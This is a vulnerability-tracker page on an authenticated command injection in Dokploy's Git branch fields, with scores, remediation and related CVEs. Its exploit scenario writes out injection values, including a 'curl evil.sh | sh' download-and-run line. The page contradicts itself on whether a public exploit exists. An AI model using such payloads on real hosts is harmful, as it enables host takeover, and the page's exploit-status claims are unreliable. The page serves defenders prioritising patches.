Skip to main content

Dokploy CVE-2026-72867

| EUVDEUVD-2026-55725 CRITICAL
Improper Input Validation (CWE-20)
2026-08-10 GitHub_M
9.9
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as low-privileged user
  2. Delivery
    Send compose.update with malicious branch payload
  3. Exploit
    Store unvalidated branch field
  4. Execution
    Trigger compose.deploy
  5. Persist
    Payload reaches unescaped git clone shell command
  6. Impact
    Execute arbitrary commands on host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Exploitation requires a valid low-privileged authenticated account on the target Dokploy instance (CVSS PR:L) and the ability to reach the compose.update and compose.deploy API endpoints over the network. The concrete prerequisite is control over any of the branch fields - customGitBranch, branch, gitlabBranch, bitbucketBranch, or giteaBranch - which in versions 0.29.3-0.29.12 lack server-side validation, plus the ability to trigger a deployment that invokes the shell-based git clone path. Limiting factors: an attacker cannot exploit this fully unauthenticated (an account is needed), and instances on 0.29.13 or later are not affected. No special non-default configuration is required beyond having Git-based compose deployments available, and no user interaction from a victim is needed.

Impact

This is a genuine high-priority issue rather than an inflated-CVSS one: the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C, C:H/I:H/A:H) describes network-reachable, low-complexity exploitation requiring only low privileges and no user interaction, with a scope change reflecting escape from the application to arbitrary host command execution. The presence of a merged upstream fix, a dedicated regression test suite, and a security advisory confirms the vulnerability is real and understood. No EPSS score, KEV listing, or SSVC decision data was provided in the input, and no public exploit or active-exploitation signal is present - so real-world exploitation volume is currently unknown. The main limiting factor is the PR:L requirement: an attacker needs a valid low-privileged account on the Dokploy instance, so exposure is highest for multi-tenant or shared deployments where untrusted users hold accounts.

Exploit ScenarioDerived

A low-privileged authenticated user sends a crafted compose.update request setting a branch field (e.g., customGitBranch) to a value such as main$(touch /tmp/pwned) or main; curl evil.sh | sh, which is stored without validation. The user then calls compose.deploy, causing the server to build and run a git clone --branch <payload> shell command that executes the injected commands on the host with the deployment process's privileges. No public exploit code was identified, though the fix PR includes proof-style test payloads demonstrating the injection technique.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged user achieve arbitrary host command execution by storing a malicious Git branch value and triggering a deployment. The branch fields (customGitBranch, branch, gitlabBranch, bitbucketBranch, giteaBranch) were left without server-side validation because the earlier fix for CVE-2026-45628 was incomplete, so attacker-controlled input flows unescaped into shell-based git clone commands. No public exploit has been identified at time of analysis, but the flaw carries a CVSS of 9.9 and is fixed in 0.29.13.

RemediationAI

Vendor-released patch: upgrade to Dokploy 0.29.13, which adds server-side shell escaping (the shellWord() helper) to all Git provider clone commands. This is the primary and recommended fix; consult advisory GHSA-cg8g-x23v-5fw8 and release v0.29.13. If immediate upgrade is not possible, reduce the attack surface by restricting who can create or hold low-privileged accounts and by limiting network access to the Dokploy management interface to trusted operators only (accepting that this blocks legitimate remote self-service). As an interim control, audit existing compose configurations for suspicious branch values containing shell metacharacters ($(), backticks, ;, &&, |) before any deploy is triggered, since malicious values may already be stored; note this is detective only and does not prevent a determined authenticated user from injecting new payloads.

Affected VersionsENISA

dokploy 0.29.3, < 0.29.13

Affected Packages

euvd dokploy_0_29_3 fix: 0.29.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dokploy is a Vercel/Netlify-style Platform-as-a-Service that orchestrates Git-based deployments. The root cause is CWE-20 (Improper Input Validation): the compose schema in packages/server/src/db/schema/compose.ts persists branch fields directly, and the deploy path builds shell command strings by interpolating those fields into git clone --branch <branch> ... invocations across git.ts, github.ts, gitlab.ts, bitbucket.ts, and gitea.ts. Because the values reach a shell unescaped, shell metacharacters ($(...), backticks, ;, &&, |) are interpreted as commands rather than literal text. The upstream fix introduces a shellWord() escaping helper (wrapping branch, URL, output path, and hostname arguments) and adds a git-clone-command-injection test suite asserting that injection payloads collapse into a single inert shell token.

Know when Dokploy gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.9 CRITICAL

Network-reachable API with only a low-privileged account (PR:L) and no user interaction yields host command execution that escapes the app boundary (S:C) with full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 10, 2026 - 20:04 EUVD
CVE Published
Aug 10, 2026 - 18:36 cve.org
CRITICAL 9.9

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). From 0.29.3 until 0.29.13, the incomplete fix for CVE-2026-45628 leaves packages/server/src/db/schema/compose.ts branch fields without server-side validation, allowing a direct compose.update request to store a malicious customGitBranch, branch, gitlabBranch, bitbucketBranch, or giteaBranch. A low-privileged authenticated user can trigger compose.deploy, which passes the stored branch to shell-based Git clone commands in packages/server/src/utils/providers/git.ts, github.ts, gitlab.ts, bitbucket.ts, and gitea.ts, resulting in arbitrary host command execution. This issue is fixed in version 0.29.13.

Executive ViewAI

Why It Matters

Dokploy self-hosted PaaS versions 0.29.3 through 0.29.12 contain a critical authenticated command injection vulnerability (CVE-2026-72867, CVSS 9.9) that allows low-privileged users to execute arbitrary commands on the underlying host system. Organizations running affected versions face complete host compromise, potential exposure of all hosted applications and data, and service disruption. Immediate patching to version 0.29.13 is required.

Business Impact: Severe
Compensating Controls

Vendor-released patch: version 0.29.13

Threat Intelligence Overview

EPSS Score
0.5%
Top 60% exploitable
Prevalence
Medium
popular open-source self-hosted PaaS, common but not ubiquitous
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

70
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2026-24841 CRITICAL POC
9.9 Jan 28

Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate

CVE-2026-24840 HIGH POC
8.0 Jan 28

Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep

CVE-2026-129987 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong

CVE-2026-129989 CRITICAL
9.9 Nov 18

Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c

CVE-2026-129986 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete

CVE-2026-129991 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing

CVE-2026-129316 CRITICAL
9.9 Nov 18

Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the

CVE-2026-72901 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary

CVE-2026-72735 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o

CVE-2026-45631 CRITICAL
10.0 May 29

Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs

CVE-2026-72902 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on

CVE-2026-72740 CRITICAL
9.9 Aug 10

OS command injection in Dokploy self-hosted PaaS before 0.29.13 lets an authenticated member with service-deployment per

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy